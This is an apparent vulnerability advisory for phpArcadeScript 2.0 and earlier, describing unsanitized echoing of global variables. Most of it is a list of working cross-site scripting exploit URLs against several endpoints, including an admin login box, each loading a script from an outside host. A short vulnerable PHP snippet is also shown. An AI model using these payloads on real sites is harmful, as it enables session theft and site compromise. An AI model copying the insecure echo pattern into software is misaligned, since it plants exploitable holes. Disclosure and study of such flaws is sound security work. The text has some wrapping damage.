???summary software: phpArcadeScript vendors website: http://www.phparcadescript.com/ versions: <= 2.0 class: remote status: unpatched exploit: available solution: not available discovered by: retard and jim risk level: medium ??? description due to phpArcadeScript excessive use of global variables attackers can very easily inject xss into various portions of the application in ./includes/tellafriend.php: 21 22 if ($about == "game") 23 { 24 echo $gamename; 25 } 26 27 else 28 { 29 echo $site_title; 30 } 31 ?> this poor coding is repetative throughought the application, possibly having more vulnerabilities present in the coding. ??? exploit(s) http://example.com/includes/tellafriend.php?about=game&gamename=%3CSCRIP T%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/admin/loginbox.php?loginstatus=1&login_status=%3CSCRI PT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/index.php?action=tradelinks&submissionstatus=%3CSCRIP T%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/browse.php?cell_title_background_color=%22%3 E%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/browse.php?browse_cat_id=1&browse_cat_name=% 3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=1&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=2&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=3&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=4&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=5&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E http://example.com/includes/displaygame.php?filetype=6&gamefile=%22%3E%3 CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E ??? credit author(s): retard and jim email: retard (at) 30gigs (dot) com [email concealed]